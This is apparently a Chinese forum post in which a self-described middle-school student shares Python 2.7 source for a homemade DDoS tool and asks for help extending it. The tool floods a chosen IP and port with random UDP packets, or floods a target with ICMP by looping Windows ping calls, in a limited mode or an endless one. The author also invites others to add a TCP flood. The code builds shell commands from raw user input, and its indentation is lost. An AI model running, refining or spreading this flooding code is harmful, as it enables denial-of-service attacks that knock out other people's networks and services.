事情是这样的:
- 首先,我是个初中生。然后又因为最近上网课,就向别人借了个电脑来学习。平时没事干,于是就自己瞎捣鼓python,就写出了这个来玩玩。
- 运行环境:python2.7
- 因为电脑是借的,所以也不敢瞎装什么虚拟机,所以也没有测试……
- ps:该ddos工具我加入了对udp协议和icmp协议的攻击,udp不用测试,我是直接对Ha3MrX的ddos-attack工具进行了修改就套上去了;但是icmp协议不知道怎么编,也不知道我现在编的有没有效果,所以希望能够提出些建议,我随时欢迎。
- 哦对对对,如果能加入tcp协议更好。
- 谢谢。
以下为源代码:
import socket
import random
import os
print "Hallo"
print("Author:Cyf")
a = raw_input("UDP or ICMP:")
if a == "UDP":
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = raw_input("CHOOSE:No Limit(1) or Limit(2):")
if msg == "Limit" or msg == "limit" or msg == "2":
IP = raw_input("IP:")
Port = input("Port:")
Pocket = input("Pocket:")
x = 1
sent = 0
bytes = random._urandom(1490)
for x in range(Pocket):
sock.sendto(bytes, (IP, Port))
sent = sent + 1
print("Sent %s packet to %s throught port:%s") % (sent, IP, Port)
os.system("pause")
elif msg == "No Limit" or msg == "no limit" or msg == "No limit" or msg == "1":
IP = raw_input("IP:")
Port = input("Port:")
sent = 0
bytes = random._urandom(1490)
while True:
sock.sendto(bytes, (IP, Port))
sent = sent + 1
print("Sent %s packet to %s throught port:%s") % (sent, IP, Port)
os.system("pause")
elif a == "ICMP":
q = raw_input("Do U want to know the Domain's Name of your target?[Y or N](If U choose Y,it maybe slower to attack)")
if q == "Y" or q == "y":
msg = raw_input("CHOOSE:No Limit(1) or Limit(2):")
if msg == "Limit" or msg == "limit" or msg == "2":
a = raw_input("IP:")
p = input("Packets:")
c = raw_input("Ping amount in a packet:")
s = raw_input("The size of the packets(0~65500 Bytes):")
x = 1
n = 1
for x in range(p):
b = os.system("ping -a " + a + " -n " + c + " -l " + s + " -w 100")
print ("Sent %s packets at all" % (n))
n = n + 1
os.system("pause")
print ("Result: %s") % (b)
os.system("pause")
elif msg == "No Limit" or msg == "no limit" or msg == "No limit" or msg == "1":
a = raw_input("IP:")
c = raw_input("Ping amount in a packet:")
s = raw_input("The size of the packets(0~65500 Bytes):")
x = 1
while True:
b = os.system("ping -a " + a + " -n " + c + " -l " + s + " -w 100")
print ("Sent %s packets at all") % (x)
x = x + 1
os.system("pause")
print ("Result: %s") % (b)
os.system("pause")
elif q == "N" or q == "n":
msg = raw_input("CHOOSE:No Limit(1) or Limit(2):")
if msg == "Limit" or msg == "limit" or msg == "2":
a = raw_input("IP:")
p = input("Packets:")
c = raw_input("Ping amount in a packet:")
s = raw_input("The size of the packets(0~65500 Bytes):")
x = 1
n = 1
for x in range(p):
b = os.system("ping " + a + " -n " + c + " -l " + s + " -w 100")
print ("Sent %s packets at all" % (n))
n = n + 1
os.system("pause")
print ("Result: %s") % (b)
os.system("pause")
elif msg == "No Limit" or msg == "no limit" or msg == "No limit" or msg == "1":
a = raw_input("IP:")
c = raw_input("Ping amount in a packet:")
s = raw_input("The size of the packets(0~65500 Bytes):")
x = 1
while True:
b = os.system("ping " + a + " -n " + c + " -l " + s + " -w 100")
print ("Sent %s packets at all") % (x)
x = x + 1
os.system("pause")
print ("Result: %s") % (b)
os.system("pause")
怎样?是不是写的很不好?我都快不敢贴出来了……
最后再说一句:望高手们能够提出建议!谢谢!